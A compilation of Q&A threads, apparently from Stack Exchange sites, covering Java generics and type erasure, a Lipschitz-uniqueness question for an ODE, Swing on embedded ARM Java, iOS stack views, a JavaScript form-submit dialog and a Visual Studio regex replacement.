Comment: poderia mostrar a implementação do `setRespostas(List) of type RelatorioCaixaVisitaEmpresaDTO` ?
Comment: @Math Uma é `RelatorioHorarios` a outra `RespostaHorarios`.
Comment: verdade, desculpa o engano, poderia atender minha primeira solicitação então?
Comment: @Math Eu copiei um dos erros que aconteceu para todas as classes que implementem `BaseRelatorioDTO`. Este mesmo erro acontece para `RelatorioHorariosDTO`, vou mudar o nome da classe ali no erro que relatei, ok?
Comment: @Math Já mudei. Sua solicitação foi atendida como você esperava?
Comment: acredito que sim, é que estou sem tempo agora, vou poder ver isso mais tarde, valeu
Comment: @Math Agradeço sua ajuda!
Answer: O problema é que Java descarta os tipos genéricos após a compilação (o tal de erasure que o erro está mencionando), de modo que duas funções com a mesma assinatura variando só os tipos genéricos são interpretadas como a mesma função. Exemplo:
interface A {
    public void foo(int x);           // OK
    public void bar(List<Integer> x); // Após compilação vira:
                                      // public void bar(List x)
}

class B implements A {
    public void foo(long x) { ... }       // Não tem problema: é overload, não override

    public void bar(List<Long> x) { ... } // Após compilação vira:
                                          // public void bar(List x)
                                          // Ops, é igual o da interface, então é override
                                          // Mas o tipo genérico é diferente... E agora?
}

Infelizmente, creio que você não pode ter esse método da forma como gostaria. Pelo princípio da substituição de Liskov, se RelatorioHorariosDTO implementa BaseRelatorioDTO então você deveria poder usar um objeto dessa classe onde quer que uma instância que realiza essa interface seria esperada. Portanto, suponha que:
class MeuDTO implements BaseRespostasDTO { ... }
List<MeuDTO> lista = new ArrayList<MeuDTO>();

BaseRelatorioDTO x = new RelatorioHorariosDTO();
x.setRespostas(lista);

A última linha é válida: BaseRelatorioDTO.setRespostas aceita qualquer List cujo tipo genérico seja subtipo de BaseRespostasDTO, e lista satisfaz esse requisito. Entretanto, a classe RelatorioHorariosDTO só aceita listas com RespostaHorariosDTO, então passar essa lista seria um erro. O compilador não consegue resolver esse dilema, então proíbe construções desse tipo.
A alternativa é toda implementação de BaseRelatorioDTO ter um método simples:
public void setRespostas(List<BaseRespostasDTO> respostasParam)

e fazer casts quando necessário... (exemplo no ideone) Talvez existam outras opções, mas não tenho experiência suficiente com genéricos em Java para indicar uma alternativa satisfatória.

Atualização: por que o compilador aceita um valor de retorno diferente no getRespostas, mas não um parâmetro diferente no setRespostas? Porque em Java os tipos de retorno são covariantes, mas os parâmetros são invariantes:
interface C {
    public A foo();
    public void bar(A param);
}

class D implements C {
    public B foo() { ... }            // OK, override em C.foo
    public void bar(B param) { ... }  // O parâmetro é diferente: é overload, não override
                                      // (não importa se é subclasse, ainda assim é overload)
                                      // Faltou void bar(A param) - erro
}

Ou seja, se Java desse suporte a tipos de entrada covariantes (quase linguagem nenhuma dá - exceto Eiffel) então você poderia escrever suas classes tal como estão. Se Java suportasse tipos de entrada contravariantes (muitas linguagens suportam), você poderia usar um tipo mais geral (ex.: List<Object>), mas não um mais específico. Mas como em Java a entrada é invariante, pra ser considerado override é preciso que os parâmetros do método sejam idênticos à da superclasse/interface.
Comment: Ao colocar esta anotação ele gera outro erro falando que devo fazer override do método na hierarquia e não estou fazendo, por isso não posso usar esta anotação. Se você reparar uso esta anotação nos `get`'s das classes que implementam `BaseRelatorioDTO`.
Comment: Mas por que, então, funciona para o `getRespostas()` como você pode ver no código que apresentei?
Comment: @PhilippeGioseffi Ótima pergunta, talvez eu esteja redondamente enganado. A mesma lógica que usei pro `setRespostas` *deveria* valer também pro `getRespostas`. Nesse caso, já tentou marcar as subclasses com `@Override` e ver se o compilador aceita? Vou fazer uns testes adicionais, quando der volto aqui com os resultados.
Comment: @PhilippeGioseffi Custou pra cair a ficha, mas minha resposta original está correta. Veja a edição. Em Java tipos de saída são **covariantes**, mas tipos de entrada sao **invariantes**. Ou seja, aquilo que o compilador aceita no valor de retorno não vai necessariamente aceitar no parâmetro da função. `getRespostas` está ok, `setRespostas` não... :(
Answer: Esta resposta esta ótima.
Caso queira uma solução para a implementação:
public class RelatorioHorariosDTO implements BaseRelatorioDTO<RespostaHorariosDTO> {

    private static final long serialVersionUID = -3828618335258371680L;

    private FiltroHorariosDTO filtro = new FiltroHorariosDTO();
    private List<RespostaHorariosDTO> respostas = new ArrayList<RespostaHorariosDTO>();

    @Override
    public FiltroHorariosDTO getFiltro() {
        return this.filtro;
    }

    @Override
    public List<RespostaHorariosDTO> getRespostas() {
        return this.respostas;
    }

    @Override
    public void setRespostas(List<RespostaHorariosDTO> respostasParam) {
        // TODO Auto-generated method stub

    }
}

E para a interface:
public interface BaseRelatorioDTO<T extends BaseRespostasDTO> extends Serializable {

    public BaseFiltroDTO getFiltro();
    public List<T> getRespostas();
    public void setRespostas(final List<T> respostasParam);

}

Editado
Adicionado metodo setRespostas genérico.
Comment: Aqui não da o erro. Você adicionou corretamente os tipos genericos BaseRelatorioDTO e interface BaseRelatorioDTO???
Comment: E como seria o `setRespostas`?
Comment: Infelizmente deu o mesmo erro que relatei no início da pergunta.

Dúvida com herança em método Java


Prove that $f(t,y(t))=t \sqrt{1-y^2(t)}$ is not Lipschitz on $y$

Question: I have the differential equation with initial condition,
$$\frac{dy}{dt} = t \sqrt{1-y^2(t)}\, , \, \, \, y(0)=1.$$
Now, this equation has 2 different solutions, $y(t) \equiv 1$ and $y(t)= \cos \big(\frac{t^2}{2} \big).$ The question is:

Why doesn't this contradict the existence and uniqueness theorem?

My attempt: My conjecture is that $f(t,y)=t \sqrt{1-y^2}$ is not Lipschitz on $y$, but I'm not very familiar with the Lipschitz condition, so I'm not sure my procedure is well justified.
If I take $t=1$ fixed (can I do this?), then we have that $f(1,y) = \sqrt{1-y^2}$. Now, if we assume that this function is Lipschitz, there is an $M>0$ such that for any $h \neq 0 $,
$$\frac{|f(1,y+h)- f(1,y)|}{|h|}\leq M,$$
but, this means that
$$f'(1,y) = \lim_{h\to0} \frac{|f(1,y+h)- f(1,y)|}{|h|} \leq \lim_{h \to 0} M = M,$$
meaning that $f'$ is bounded by $M$, but
$$f'(1,y)= -\frac{y}{\sqrt{1-y^2}}  \to -\infty \text{ when} \, y \to 1 \text{ and} \, f \to \infty, \text{ when} \,  y\to -1$$
so $f'(1,y)$ cannot be bounded, therefore $f$ is not Lipschitz on $y$.

Is this reasoning correct? Have I use the Lipschitz condition correctly?

Thanks for any help you can give me.
Answer: First I should point out that your equation needs to be $dy/dt = - t \sqrt{ 1 - y^2}$ in order to get the solution $y(t) = \cos \left( \tfrac {t^2} 2 \right)$ for $t \in [0,\sqrt{2\pi})$.
Anyway, since your initial condition is $y(0) = 1$, you should test the Lipschitz condition on a neighbourhood of $t = 0$ and $ y = 1$.
In your example, the function is $f(t,y) = - t \sqrt{ 1 - y^2}$. You need to test if this $f(t,y) $ is uniformly Lipschitz contracting in the $y$-variable for $t \in [0, a] $ and $y \in [1-b, 1]$ for some $a > 0$ and $b > 0$.
(Wikipedia asks for the Lipschitz condition to be checked on symmetric intervals of the form $[-a, a]$ and $[1-b, 1+b]$, but since $f(t,y) \leq 0$ when $t \geq 0$, I see no reason why the proof in Wikipedia shouldn't work if we restrict to $[0,a]$ and $[1-b, 1]$. )
Anyway, let's go ahead and test this Lipschitz condition. Let's ask ourselves: Does there exist a $k \geq 0$ and $a, b > 0$ such that
$$ | f(t,y_1) - f(t, y_2) | \leq k | y_1 - y_2 |$$
for all $t \in [0, a]$ and all $y_1, y_2 \in [1 - b, 1]$?
In other words, does there exist a $k \geq 0$ and $a, b > 0$ such that
$$ \left| t \sqrt{1 - y_1^2} - t \sqrt{1 - y_2^2} \right| \leq k | y_1 - y_2 |$$
for all $t \in [0, a]$ and $y_1, y_2 \in [1 - b, 1]$?
The answer is clearly "no". For example, if you fix $t = a$ and $y_1 = 1$, then you would need to find a $k \geq 0 $ such that
$$ a\left|\sqrt{1 - y_2^2} \right| \leq k |1 - y_2 |$$
for all $y_2 \in [1-b,1]$, i.e. you would need to find a $k \geq 0$ such that
$$ \frac a k \leq \sqrt{\frac{1-y_2}{1+y_2}}$$
for all $y_2 \in [1-b,1]$. As the right-hand side tends to zero as $y_2$ tends to $ 1$ from above, there clearly does not exist such a $k$, no matter what you pick for $a$ and $b$.
So the Lipschitz condition is not satisfied, and the uniqueness theorem does not hold.
Comment: P.S. The argument using the fact that $f$ has infinite slope at $y = 1$ is indeed very similar to your argument above!


is it possible to run Java/Swing applications on Java Embedded environment?

Question: we need to run windows based Swing applications on an embedded ARM9/11 device; since the whole Java 7 SDK is too heavy for these kind of devices we thought to install Java Embedded that should be design for these use cases. Regretefully, we are not able to find out any reference about Java/Swing on Java Embedded environment in java documentation, neither on NetBeans ones. Does anybody know something on this topic?
Comment: I'd be use embedded Java in Android, sure LayoutManagers are little bit different, but without any un_wanted surpises,
Comment: did you also installed some graphics java libraries in addition to Java Embedded? we have an error trying to launch a small swing windows saying "check headless" and in a forum we found that graphical java libraries should be necessary. besides we still haven't understood if it is necessari to have installed X11/x-server to run them or not. thanks.
Comment: I think that your idea required woodoo maybe dirty tricks, everything depends of Platform and vendors for ARM9/11 device, but this forum have got some Q&A about ARM and Java
Comment: we haven't found anything about Java Embedded, GUI Swing applications and ARM embedded systems anywhere in internet. Even documentation seems to be very poor. If you have any useful link could you share it? thanks again.
Answer: The Caciocavallo project does this.
Unfortunately the Caciocavallo direct framebuffer code is not ready for end use applications.
They would like help with it.
http://openjdk.java.net/projects/caciocavallo/
Answer: I have successfully run Java SE 6 Embedded (headful) on an N900 smartphone, including Swing apps such as JEdit.
It doesn't run particularly fast (startup time obviously much longer than a modern desktop) but it does work.
Answer: While I don't think that ARM9/11 devices would be strong enough to run even the Embedded Java SE 6/7/8, newer ARM SOCs like the Cortex-A9 and COrtex-A15 are.
I have been able to run several non-trivial Java Swing applications on my Samsung Series 3 ARM Chromebook and they seem to be performing well (this is a dual-Cortex A15 machine (Exynos 5250) with 2GB of RAM).
Squirrel SQL and the Swing app of my company run well on JDK8 ARM Linux hardfloat which has just been released as early access in Aug 2013.


TableviewCell View's Wrap content in ios

Question: I have 3 view's in UITableviewCell. the 1st view need to be match parent(like in android), and other two view's needs to be in wrap content. when i hide one of the view, the other 2 view's should occupy the cell. if i hide the 2 view's, the rest of the view occupy the cell. how we can do this using auto layout or any other concept.

The first image as three view's when i hide the 3rd view, the rest of the two view's adjust it's cell width.
             i just tried.
if(color==1){
    view2.hidden=true;
    view3.hidden=true;
}else if(color==2){
     view3.hidden=true;
}

Comment: You can use `StackView` or priority of Constraints.
Comment: Thanks. Can you give some example of priory constraints?
Comment: I am not sure this will help or not. Check it: http://stackoverflow.com/questions/18065938/how-to-use-auto-layout-to-move-other-views-when-a-view-is-hidden/18066138#18066138
Answer: UITableView() in iOS uses reuse identifier to reuse one single cell through out the life cycle(well atleast in some cases). To achieve this kind of behaviour inside a cell you can follow several approach. The easiest one is as follows.
Using UIStackView().
In this case you can use UIStackView() to append all those UIView() objects inside the cell. UIStackView() itself inherits from UIView() but it has limited features. Firmly used to manage layout of views. Following is the ViewController screenshot from storyboard which you can follow.
Setting up views inside an UITableViewCell()

Remember - No constraints used upto here.
Appending all those views inside an UIStackView()

No constraints used till now :).
Adding constraints to UIStackView()

Finally you can add constraints to your stackview not your subviews(BTW depends on the condition you can also change the distribution/ fill property of uistackview and yes you can also set constraints.).
Now we are done with the storyboard setup. You can make outlet of all the subviews inside your UITableviewCell() subclass and hide those as you want. After hiding rest views will be resized accordingly. For more info you can go through this following code snippet.
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
 if let cellOfTableView = tableView.dequeueReusableCell(withIdentifier: "cellIdentiferForOrderStatus", for: indexPath) as? OrderSuccessFailureDetailsTableViewCell{
  cellOfTableView.view3.isHidden = true
  //cellOfTableView.stackView.layoutIfNeeded() //You can call this if the layout has not properly managed.
   }
}

N.B. - You can achieve the same thing using constraints also. You just have to give constraints to all your subviews and access those using IBOutlets. When you are hiding any one of those subviews just update the constraints accordingly inside an animation block for smooth transition.
Above codes are in Swift 3.0/ Xcode 8.2.1.
Hope this helped.
Comment: Thank you. but can you say some other method other than StackView?
Comment: @Ishwarya check the answer itself. At the end I discussed little about using constraints..:). Very happy to help.


Fazer submit com  e aparecer JS dialog

Question: <form action="" name="Insert" method="post" onsubmit="alert(1);  return false;">

Eliminar

Boas pessoal, o que se passa é o seguinte, eu quando faço submit ele apenas faz o submit sem aparecer o alerta para confirmar, ja tentei de outra forma como:
<form action="" name="Insert" method="post" onsubmit="alert(1);  return false;">

Eliminar

Neste codigo que acabei de apresentar, apenas me aparece o dialogo, mas so consigo cancelar, eu ao clicar em "ok" ele nao faz nada, nem fecha o dialogo..
Answer: Se você pretende fazer o submit e exibir o dialog, você terá que criar uma função em Js para controlar o submit do form ao clicar no link. Nessa ideia:
function submeteForm(){
alert("Foi submetido!!");
document.getElementById("Insert").submit();
}

Seu Form:
<form action="" name="Insert" id="Insert" method="post">
Eliminar

Agora se você só pretende exibir uma janela de confirmação, é mais simples ainda, basta adicionar no seu link:
 Eliminar

Comment: nao faz nada.. e estou a falar do seu primeiro exemplo que é oq preciso
Comment: Ja resolvi, mas no entanto so consegui graças assim, OBRIGADO

Fazer submit com  e aparecer JS dialog


Visual Studio Find-Replace tool using Regex Capturing

Question: I am wondering if I can use a regex expression in Visual Studio's Find and Replace tool (Edit -> Quick Replace), to find:
System.Nullable(Of X)
and replace with:
X?
Where X is any object type such as Date, Guid, etc...
(The code is written in visual basic)
Example 1:
The regex should be able to find: System.Nullable(Of Guid), and replace this with: Guid?
Example 2:
The same regex should be able to find: System.Nullable(Of Integer), and replace this with: Integer?
So that I can use a find-replace regex expression to change:
Public Property Id() As System.Nullable(Of Guid)
to:
Public Property Id() As Guid?
to stop Visual Studio spamming me with "Name can be simplified"
Comment: Are you asking for a regex which can detect the type of `X`?  Answer: not easily.  Maybe you should give more examples so that your question is clear (not my downvote).
Comment: No. I am asking if it is possible to search for the pattern from the example given, and replace the found pattern with the text supplied using the find and replace tool. X doesn't really matter but it will always be a string of characters containing no whitespace characters (example: Date, Guid, Integer, ObjectName, etc...).
Comment: Again, please show several examples of what you have in mind.  The downvotes were given for a reason.
Comment: I've added an example. It seemed like a simple question.
Answer: Find System\.Nullable\(Of (\w+)\) and replace with $1?
Comment: You could also search for specific types e.g. `(Guid|Date)` instead of using `\w+`.
Comment: @TimBiegeleisen that's true, but since OP wants to get rid of the warning, I bet (s)he wants to replace every primitive types
Comment: @ThomasAyoub yes, exactly. I appreciate Tim pointing this out but it's unnecessary for my purpose.